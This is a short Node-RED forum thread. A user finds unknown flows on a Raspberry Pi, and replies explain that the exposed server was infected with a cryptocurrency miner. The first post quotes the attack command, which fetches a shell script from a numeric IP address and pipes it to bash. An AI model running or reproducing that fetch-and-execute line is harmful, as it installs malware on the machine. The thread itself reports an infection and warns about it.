# Node Red create Flows "automatically"

**URL:** <https://discourse.nodered.org/t/node-red-create-flows-automatically/3692>\
**Category:** General\
**Created:** [4 October 2018 16:51 UTC](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692 "2018-10-04T16:51:07Z")\
**Posts on this page:** 5\
**Page:** 1

<div class="post-metadata">

**Author:** ![pcpaulo](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pcpaulo/32/2971_2.png) [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\
**Post date:** [4 October 2018 16:51 UTC](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692/1 "2018-10-04T16:51:08Z")

</div>

I have node red installed on Raspberry and every day when i open the monitor there is a new flow with unknown name access a server [http://192.99.142.240:8220/mr.sh](http://192.99.142.240:8220/mr.sh) | bash -sh. Any Idea the reason for that?

---

<div class="post-metadata">

**Author:** ![ukmoose](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/ukmoose/32/13_2.png) [@ukmoose](https://discourse.nodered.org/u/ukmoose)\
**Post date:** [4 October 2018 16:55 UTC](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692/2 "2018-10-04T16:55:49Z")

</div>

Did you read the big blue banner?

You left your Node-RED computer exposed to the internet and someone has used that flow to infect your machine with a cryptocurrency miner.

The safe thing to do is to wipe your computer of everything and start again. If you wish to expose Node-RED directly to the internet you need to take precautions first

---

<div class="post-metadata">

**Author:** ![knolleary](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/knolleary/32/3_2.png) [@knolleary](https://discourse.nodered.org/u/knolleary)\
**Post date:** [4 October 2018 17:25 UTC](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692/3 "2018-10-04T17:25:02Z")

</div>

@pcpaulo please read this post - [⚠️ Malware Infecting unsecured Node-RED servers](https://discourse.nodered.org/t/malware-infecting-unsecured-node-red-servers/3460)

It has been displayed at the top of every page on the forum for the last week; unless you chose to close it without reading it.

---

<div class="post-metadata">

**Author:** ![pcpaulo](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pcpaulo/32/2971_2.png) [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\
**Post date:** [5 October 2018 11:05 UTC](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692/4 "2018-10-05T11:05:08Z")

</div>

Thank you for the information i will take care about it.

---

<div class="post-metadata">

**Author:** ![pcpaulo](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/pcpaulo/32/2971_2.png) [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\
**Post date:** [5 October 2018 11:05 UTC](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692/5 "2018-10-05T11:05:34Z")

</div>

Thank you for the information